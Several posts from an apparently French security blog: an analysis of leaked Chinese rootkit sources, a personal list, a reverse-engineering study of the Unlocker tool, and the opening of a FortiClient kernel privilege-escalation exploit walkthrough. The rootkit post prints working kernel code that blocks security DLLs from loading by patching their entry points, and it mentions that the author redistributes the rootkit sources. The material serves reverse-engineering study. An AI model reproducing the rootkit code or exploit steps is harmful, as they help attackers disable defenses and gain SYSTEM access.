Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :

  • Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
  • Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
    VOID
    MyLoadImageRoutine(
        IN PUNICODE_STRING ImageName,
        IN HANDLE ProcessId,
        IN PIMAGE_INFO ImageInfo
        )
    {
    	BOOL  bFind;
    	ULONG Length;
    	WCHAR Name[300];
    	PEPROCESS   proc;
    	PVOID       pImageBase;
    	SIZE_T      dwSize;
    	PVOID       pOEP;
    	KIRQL       oldIrql;
    	PIMAGE_DOS_HEADER       dos;
        PIMAGE_NT_HEADERS       nth;
    	PIMAGE_OPTIONAL_HEADER  poh;
    	PHYSICAL_ADDRESS physicalAddress;
    
    	if (ImageName == NULL) {
            return;
        }
    
        Length = ImageName->Length;
        if ((Length == 0) || (ImageName->Buffer == NULL)) {
            return;
        }
    
    	bFind = FALSE;
    	RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
    	_wcsupr(Name);
    
    	if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
    			( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
    			(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
    			(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
    			(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
    			(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"safe" ) != NULL) ||
    			(wcsstr( Name, L"anti" ) != NULL) ) {
    				bFind = TRUE;
    	}
    
    	if ( bFind == FALSE ) {
    		return;
    	}
    
    	if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
    		return;
    	}
    
    	KeAttachProcess (proc);
    
    	pImageBase = ImageInfo->ImageBase;
    	dwSize     = ImageInfo->ImageSize;
    
    	try {
    		ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
    	} except(EXCEPTION_EXECUTE_HANDLER) {
    		return;
    	}
    
    	dos     = (PIMAGE_DOS_HEADER) pImageBase;
        nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
    	poh     = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
    
    	if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
    		return;
    	}
    
    	pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
    	physicalAddress = MmGetPhysicalAddress( pOEP );
    
    	ProbeForWrite ( pOEP, 5, sizeof(CHAR));
    
    	WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d'écrire en ring0 dans des pages RO
    	oldIrql = KeRaiseIrqlToDpcLevel();
    
    	RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
    
    	KeLowerIrql(oldIrql);
    	WPON();
    
    	KeDetachProcess();
    }

    Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :

    BYTE g_Code[5] = { 0x33, 0xC0, 0x0C, 0x00, 0x00 };

    Ce qui correspond en asm à :

    33C0          XOR EAX, EAX
    0C 00         OR AL, 0

    La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.

  • On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
  • Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.

Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.

La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …

Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …

Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …

5 comments mars 26th, 2008

Rydymy

Ca y est j’ai craqué dans ma tête de maladouf, après Nono, Newsoft, Jme et Sid, je me suis décidé à vous raconter 6 choses complètement useless sur moi. Attention, si vous êtes québécois, ne lisez pas ce post …

  1. J’aime les chocapicz, si mon petit dej’ n’est pas constitué à 95% de chocapicz, je meurs ….De plus, j’aime me lever tard, le plus tard possible même, entre 11h et 13h c’est parfait. Je préfère travailler la nuit lorsque les gens normaux sont parti dormir, IRC est plus calme à ce moment là. Sauf les chans ou trainent des québécois, ils ont réveillés à 3h du mat eux et me highlight pour rien. Faudrait les bannir eux je pense.
  2. Je n’aime pas les québécois, ils parlent une langue de tapz, ça fait 3 ans que j’essaye de l’apprendre … D’ailleurs c’est à cause d’eux que je fais autant de fautes quand j’écris !
  3. Me faire faire de la programmation Web quelqu’elle soit après minuit me transforme en gremlin Mogwaï-like capable d’installer un serveur SQL sur une plan9 dans une VM sous CentOS avec un PAX, comprenez que je déteste cela. Mes langages de prédilection sont le C et le python, pour conquérir le monde c’est largement suffisant:)
  4. Je suis un fan des RSS, je les collectionne, je trouve que c’est le moyen le plus pratique pour suivre l’info sur le net et être au courant le plus rapidement possible. Mes RSS sont constitué de sites de news, aussi bien que de blogs, de forums, de mailing-lists et de newgroups. Je pense que tout est bon à prendre, quelque soit la provenance et la qualité de l’info, je n’hésite pas à m’abonner à des RSS russes ou chinois, le code n’a pas le langue favorite ! (les commentaires si …)
  5. Je bosse tout le temps avec de la zik, en ce moment j’ai une période metal/screamo/hardcore, j’écoute des groupes comme In Fear And Faith, The Bright Star Alliance, Saosin, Sugartown Cabaret et Tanen. Travailler avec de la zik m’aide à m’enfermer dans mon monde et à rester concentrer (ou pas).
  6. J’ai fait une pyramide à 5 étages avec mes rouleaux de PQ usagés …

Sur ce, je retourne rien faire.

8 comments mars 15th, 2008

Unlocker

Un comment laissé sur mon blog récemment a attiré mon attention, j’ai donc décidé de répondre par mail à son auteur. Après plusieurs échanges j’ai décidé de compiler mes découvertes et de vous en faire profiter.

Yo Regis, j’ai vu votre comment et j’ai décidé de regarder d’un peu plus près le tool unlocker afin de comprendre son fonctionnement. Je l’ai donc installé en VM et analysé principalement avec IDA et ollydbg. J’étais vraiment curieux alors j’ai poussé mes investigations un peu loin, à vous de juger, en tout cas unlocker n’a plus beaucoup de secrets pour moi à présent, modulo les erreurs que j’ai pu faire bien sur. Voici ce que j’ai compris de son fonctionnement, attention prenez votre respiration, c’est partit !

Les fichiers exécutables sont mit dans « C:\Program Files\Unlocker », on y trouve :

Unlocker.exe
UnlockerAssistant.exe
UnlockerCOM.dll
UnlockerHook.dll
UnlockerDriver5.sys

Alors après une petite analyse j’ai établit les dépendances :

Unlocker.exe -> UnlockerDriver5.sys
UnlockerAssistant.exe -> UnlockerHook.dll

UnlockerCOM.dll est chargé dans explorer.exe avec les shellextension utilisant les clés :
{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83}
Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved
folder\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
AllFileSystemObjects\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
software\\classes\\clsid\\UnlockerShellExtension

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} contient par exemple
defaut : C:\Program Files\Unlocker\UnlockerCOM.dll
ThreadindModel : Apartment

Ces clés sont mises en place lors de l’installation.

Pour plus d’infos sur les extensions shell voir : Adding Explorer Bars
et la prog COM : Step by Step COM Tutorial

Ok, ca c’est pour le shell, qui est en fait juste une interface pour lancer le Unlocker.exe.

Sinon j’ai remarqué que UnlockerHook.dll au moment d’être chargé par UnlockerAssistant.exe va installer des hooks de messages de type WH_CBT (création de fenêtres..) avec l’api SetWindowsHookEx. Quand elle est injecté dans un nouveau process elle va mettre un inline hook sur la fonction SHFileOperationW mais uniquement lorsque quelle se retrouve injecté dans explorer.exe. Je n’ai pas trop bien compris a quoi servait le hook surtout que les valeurs de retour de la fonction ne sont pas documentées, je pense que le développeur a dur étudier le comportement de la fonction et comprendre par lui même la signification de certaines valeurs de retour. De toute façon ce n’est pas là qu’est le coeur du fonctionnement du soft. Avec plus de recherches il y a moyen de comprendre pourquoi il hook cette fonction imo.

Bon, en fait le problème c’est les handles qui sont dit « locker » mais qu’est ce que cela veut dire ? Si on regarde le prototype de CreateFile on a :

HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in HANDLE hTemplateFile
);

Le param dwShareMode correspond à la façon dont le handle pourra être partagé entre les processus. Dans le cas ou celui ci vaut 0, le handle ne pourra pas être ouvert par un autre process tant qu’il ne sera pas fermé par CloseHandle par le process qui l’a ouvert en premier. C’est le kernel qui effectue c’est vérification et qui renvoie une erreur au subsytem disant « Le fichier est utiliser par une autre application blablaba… »

Le programme principal se situe donc dans Unlocker.exe, lorsqu’on veut « unlocker » un fichier son path est passé en argument au programme qui va ensuite procéder de 2 façons :

- Dans le cas ou le fichier est une DLL, le tool va crée un utiliser CreateToolhelp32Snapshot pour avoir une « photo » de tous les process lancés (option TH32CS_SNAPPROCESS) puis énumérer les dll chargées dans chacun en faisant aussi un snapshot mais cette fois avec l’option TH32CS_SNAPMODULE. A partir de cette liste il va chercher dans chacun des process le nom des modules puis voir s’il trouve la DLL concernée. Si oui alors il injecte un code dans le process avec le triplet VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. Le code injecté va donc se retrouver dans le process qui a chargé la DLL puis va utiliser GetModuleHandle pour obtenir un handle dessus et FreeLibrary pour la décharger du processus.

Remarquez que je trouve un peu con de faire comme ca car le handle sur la DLL est en fait son ImageBase, qu’on peut très bien obtenir depuis le snapshot, il suffirait donc d’injecter un thread pointant sur FreeLibrary avec en argument l’ImageBase de la DLL pour la décharger.

- Dans le cas d’un fichier « normal », le tool procède d’une manière différente. Pour pouvoir unlocker le fichier, il doit fermer le handle qui est ouvert par un processus X. Cette fois ci il s’agit d’un « vrai » handle, c’est à dire qu’il fait référence à un objet noyau contrairement à un handle sur une DLL qui n’est juste qu’une adresse sur le PE header de celle ci en mémoire. Bref, l’idée consiste donc à énumérer les handles de chaque process, de la scanner afin de trouver le ou les process qui ont ouvert le handle sur ce fichier. Le problème c’est que sous Windows, on ne peut simplement obtenir la liste des handles d’un process, il faut en fait les récupérer dans la liste de TOUS les handles ouvert par le système. Dans le cas de unlocker celui-ci utilise l’API ZwQuerySystemInformation avec l’InformationClass SystemHandleInformation, cette fonction nous renvoie une liste de structures SYSTEM_HANDLE_INFORMATION qui sont de la forme :

typedef struct _SYSTEM_HANDLE_INFORMATION { // Information Class 16
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags; // 0×01 = PROTECT_FROM_CLOSE, 0×02 = INHERIT
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}

Unlocker va utiliser 3 champs de cette structure :

- ProcessId, le PID du process qui à ouvert le handle
- Handle, la valeur du handle dans le context du process qui l’a ouvert (n’oubliez pas, un handle est spécifique uniquement dans le contexte du process qui l’a ouvert !)
- Object, l’adresse dans le kernel de l’objet, pour un fichier c’est un pointeur sur une structure FILE_OBJECT par exemple.

Unlock va d’abord ouvrir un handle sur le process à partir de son PID avec les flags VM_READ|DUP_HANDLE|QUERY_INFORMATION puis utiliser l’api DuplicateHandle, cette api permet comme son nom l’indique de copier un handle dans le contexte d’un autre, c’est très pratique, en effet unlocker va copier le handle dans son contexte afin de pouvoir le manipuler et obtenir des infos dessus, DuplicateHandle est appelé avec les params suivant (extrait de ollydbg) :
00126F94 00000050 |hSourceProcess = 00000050 (window) <-PID du process visé
00126F98 000000C8 |hSource = 000000C8 (window) <- valeur du handle
00126F9C FFFFFFFF |hTargetProcess = FFFFFFFF <- handle de notre process,
00126FA0 0012B654 |phTarget = 0012B654 <- pointeur sur le futur handle
00126FA4 00000000 |Access = 0
00126FA8 00000000 |Inheritable = FALSE
00126FAC 00000000 \Options = 0

Windows autorise le fait de dupliquer le handle, cela veut dire que si on duplique le handle d’un fichier ouvert avec dwShareMode à 0 dans notre process, on se retrouve avec les même accès que le process maître sur le fichier. C’est assez particulier comme fonctionnement je l’avoue mais Windows l’autorise donc c’est cool. En gros, si je duplique un handle « locker » de fichier dans mon process, je peux très bien par la suite lire et écrire dedans comme si j’étais le process original (dépends des droits mit dans dwDesiredAccess au départ).

Une fois que le handle est « copié » dans le contexte de unlocker.exe, le tool va enfin utilise son driver. Après analyse sous IDA il apparait que le driver va servir à retrouver le nom de l’objet référencé dans le kernel. En effet, unlocker va communiquer avec le driver à travers les api WriteFile et ReadFile. La première api sert à envoyer au driver une structure contenant le handle visé et le pointeur sur l’objet kernel, cette structure à donc de la forme de :

typedef struct _RequestObjectName
{
HANDLE Handle;
PVOID Object;
}RequestObjectName, * PRequestObjectName;

Quand le driver reçoit cette structure il va attendre l’appel de l’api ReadFile pour utiliser l’api kernel, ObReferenceObjectByHandle sur le paramètre Handle de la structure RequestObjectName pour retrouver le pointeur sur l’objet dans le kernel. Il le compare ensuite avec le champ Object de la structure pour être sur que unlocker à demander d’analyser cet objet précis puis appel la fonction ObQueryNameString pour obtenir le nom de l’objet qui sera recopier dans un buffer user-land sous forme de structure UNICODE_STRING.

De retour dans unlocker, le code continue d’énumérer ainsi les process ayant ouvert un handle sur le fichier concerné et les énumère dans la listbox.

Quand on demande d’unlocker un fichier, le tool va injecter un thread dans le process visé qui va utiliser le même code que celui qui sert à décharger la une DLL. En fait ce code est assez marrant, il fonctionne de cette façon :

Le code injecté se retrouve soit avec le path de la dll à décharger soit avec la valeur du handle dans le contexte du process visé. Il utilise uniquement 3 fonctions, GetModuleHandle, FreeLibrary et CloseHandle. Il commence par récup un handle sur la DLL avec GetModuleHandle puis entre dans une boucle de 16 itérations, qui va appeler FreeLibray et CloseHandle. Si le développeur à choisit d’utiliser une boucle c’est parce que chaque DLL possède un compteur référençant le nombre de chargements effectués avec LoadLibrary, en faisant une boucle, le tool va décrémenter le compteur (à travers FreeLibrary) référençant le nombre d’appel de LoadLibray sur cette DLL, quand ce compteur atteint 0, FreeLibray décharger la DLL. Dans le cas d’un simple handle, le GetModuleHandle va foirer (son retour n’est pas checké), ce n’est pas grave, le CloseHandle va le fermer ensuite et quitter la boucle.

Voici le code vu sous IDA :

; =============== S U B R O U T I N E =======================================
.text:004105B1
; Attributes: bp-based frame

sub_4105B1 proc near                    ; DATA XREF: sub_41178F+163 o
                                        ; sub_41178F+186 o
compteur= dword ptr -4
remoteinfos= dword ptr  8

	push ebp      ; remotesinfos struct :
                  ; +0 @FreLibrary
                  ; +4 @GetModuleHandle
                  ; +8 @CloseHandle
                  ; +C handle/full dll path
	mov ebp, esp
	push ecx
	and [ebp+compteur], 0
	push ebx
	push esi
	mov esi, [ebp+remoteinfos]
	push edi
	lea ebx, [esi+0Ch]
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	jmp short loc_4105DC

.text:004105C8                         loc_4105C8:                             ; CODE XREF: sub_4105B1+2F j
	cmp [ebp+compteur], 16
	jge short loc_4105E2
	push edi
	call dword ptr [esi]                ; FreeLibrary
	push edi
	call dword ptr [esi+8]              ; CloseHandle
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	inc [ebp+compteur]

loc_4105DC:                             ; CODE XREF: sub_4105B1+15 j
	mov edi, eax
	test edi, edi
	jnz short loc_4105C8

loc_4105E2:                             ; CODE XREF: sub_4105B1+1B j
	pop edi
	pop esi
	xor eax, eax
	pop ebx
	leave
	retn 4
sub_4105B1 endp

Cependant DuplicateHandle nous fournit une option intéressante, DUPLICATE_CLOSE_SOURCE, qui comme son nom l’indique permet de fermer le handle directement à la source. L’auteur lui à choisit une autre méthode pour fermer le handle, il injecte un petit code dans le process qui l’a ouvert, pourquoi pas …

Le plus simple que je te conseil est de directement crée un thread avec CreateRemoteThread sur la fonction CloseHandle dans le process visé, en mettant en paramètre de ce thread la valeur du handle à fermer, cela devrait fonctionner à merveille.

Remarquez que pour copier un fichier unlocker va aussi injecter un shellcode qui va directement crée la copie depuis le process ayant ouvert le handle sur le fichier, pour s’en rendre compte il suffit de voir quelles APIs il fournit au shellcode injecté :

push    offset aCreatefilew ; "CreateFileW"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_818], eax
call    esi ; GetProcAddress
push    offset aSetfilepointer ; "SetFilePointer"
push    [ebp+hModule]   ; hModule
mov     [ebp+Buffer], eax
call    esi ; GetProcAddress
push    offset aReadfile ; "ReadFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_840], eax
call    esi ; GetProcAddress
push    offset aWritefile ; "WriteFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_83C], eax
call    esi ; GetProcAddress
push    offset aClosehandle ; "CloseHandle"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_838], eax
call    esi ; GetProcAddress
push    offset aGlobalalloc ; "GlobalAlloc"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_834], eax
call    esi ; GetProcAddress
push    offset aGlobalfree ; "GlobalFree"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_830], eax
call    esi ; GetProcAddress
push    offset aGetfilesize ; "GetFileSize"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_82C], eax
call    esi ; GetProcAddress
push    offset aSleep   ; "Sleep"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_828], eax
call    esi ; GetProcAddress
push    offset aGetoverlappedr ; "GetOverlappedResult"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_824], eax
call    esi ; GetProcAddress
push    offset aGetlasterror ; "GetLastError"

Je vous laisse imaginer son fonctionnement ….

Pareil pour la copie je pense qu’il suffit juste de faire un DuplicateHandle sur le fichier puis de recopier son contenu depuis notre process.

Pour les actions de renommer et déplacer, unlocker va simplement fermer le handle puis renommer ou déplacer le fichier après.

Bon alors qu’est ce que j’en pense de tout ca, je pense que pour décharger un DLL, unlocker fait bien le boulot, c’est la méthode la plus simple. Par contre dans le cas d’un fichier, l’utilisation d’un driver un peu lourde, il est possible de faire beaucoup plus simple, en effet pour obtenir le nom de l’objet référencé par un handle après l’avoir dupliqué il suffit d’utiliser l’API ZwQueryObject de prototype :

NTSTATUS NtQueryObject(
__in_opt HANDLE Handle,
__in OBJECT_INFORMATION_CLASS ObjectInformationClass,
__out_opt PVOID ObjectInformation,
__in ULONG ObjectInformationLength,
__out_opt PULONG ReturnLength

Il faut l’utiliser avec ObjectInformationClass ObjectTypeInformation et ObjectNameInformation pour obtenir le type et le nom de l’objet référencé par le handle. Cela est très pratique car c’est un syscall Windows et cela évite de coder un driver exprès. J’en veux pour preuve un post que j’ai rédigé il y a déjà quelques temps Playing With Windows Handles et celui de mon padawan Close a remote handle file. Je pense qu’avec ces codes vous avez tout en main pour réaliser un programme mieux que unlocker ;)

J’ai aussi remarqué une chose intéressant, le tool utilise le device LanmanRedirector pour retrouver les fichiers ouverts par les utilisateurs distant, j’ai découvert ca d’abord sous IDA puis après avoir googlé je suis tombé sur cet article, je n’ai malheureusement pas trouvé de code mettant en place ce processus mais avec une analyse plus profonde de unlocker je pense qu’il n’est pas très difficile de recoder cela.

Ouf, j’espère ne pas trop vous avoir soulé avec mes explications, en tout cas j’ai passé un peu de temps à reverser ce tool, ca m’a fait plaisir. Voilà, vous voyez le reverse c’est cool, mangez en :)

15 comments mars 2nd, 2008

Fortinet FortiClient Local Privilege Escalation

Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!

Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :

3. Fortinet FortiClient Local Privilege Escalation.

Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .

The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.

This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.

On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.

Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.

Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.

kd> !devobj \device\fortimon
Device object (80f047d8) is for:
 FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
 \FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

DriverEntry:   fa9f6bdc	fortimon
DriverStartIo: 00000000
DriverUnload:  00000000
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fa9f5aac	fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE           fa9f5764	fortimon+0x764
[02] IRP_MJ_CLOSE                       fa9f642c	fortimon+0x142c
[03] IRP_MJ_READ                        fa9f5764	fortimon+0x764
[04] IRP_MJ_WRITE                       fa9f6654	fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION           fa9f5764	fortimon+0x764
[06] IRP_MJ_SET_INFORMATION             fa9f5aac	fortimon+0xaac
[07] IRP_MJ_QUERY_EA                    fa9f5764	fortimon+0x764
[08] IRP_MJ_SET_EA                      fa9f5764	fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS               fa9f5764	fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fa9f5764	fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fa9f5764	fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL           fa9f5764	fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fa9f5782	fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL              fa9f5764	fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fa9f5764	fortimon+0x764
[10] IRP_MJ_SHUTDOWN                    fa9f5764	fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL                fa9f5764	fortimon+0x764
[12] IRP_MJ_CLEANUP                     fa9f6606	fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT             fa9f5764	fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY              fa9f5764	fortimon+0x764
[15] IRP_MJ_SET_SECURITY                fa9f5764	fortimon+0x764
[16] IRP_MJ_POWER                       fa9f5764	fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL              fa9f5764	fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE               fa9f5764	fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA                 fa9f5764	fortimon+0x764
[1a] IRP_MJ_SET_QUOTA                   fa9f5764	fortimon+0x764
[1b] IRP_MJ_PNP                         fa9f5764	fortimon+0x764

Fast I/O routines:
FastIoCheckIfPossible                   fa9f6d7a	fortimon+0x1d7a
FastIoRead                              fa9f6dbe	fortimon+0x1dbe
FastIoWrite                             fa9f6e02	fortimon+0x1e02
FastIoQueryBasicInfo                    fa9f6e6c	fortimon+0x1e6c
FastIoQueryStandardInfo                 fa9f6ea6	fortimon+0x1ea6
FastIoLock                              fa9f6ee0	fortimon+0x1ee0
FastIoUnlockSingle                      fa9f6f26	fortimon+0x1f26
FastIoUnlockAll                         fa9f6f66	fortimon+0x1f66
FastIoUnlockAllByKey                    fa9f6f9e	fortimon+0x1f9e
FastIoDeviceControl                     fa9f714c	fortimon+0x214c
FastIoDetachDevice                      fa9f74e6	fortimon+0x24e6
FastIoQueryNetworkOpenInfo              fa9f7558	fortimon+0x2558
MdlRead                                 fa9f7592	fortimon+0x2592
MdlReadComplete                         fa9f75d2	fortimon+0x25d2
PrepareMdlWrite                         fa9f7606	fortimon+0x2606
MdlWriteComplete                        fa9f7666	fortimon+0x2666
FastIoReadCompressed                    fa9f76bc	fortimon+0x26bc
FastIoWriteCompressed                   fa9f7706	fortimon+0x2706
MdlReadCompleteCompressed               fa9f776e	fortimon+0x276e
MdlWriteCompleteCompressed              fa9f77a0	fortimon+0x27a0
FastIoQueryOpen                         fa9f77f6	fortimon+0x27f6

Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.

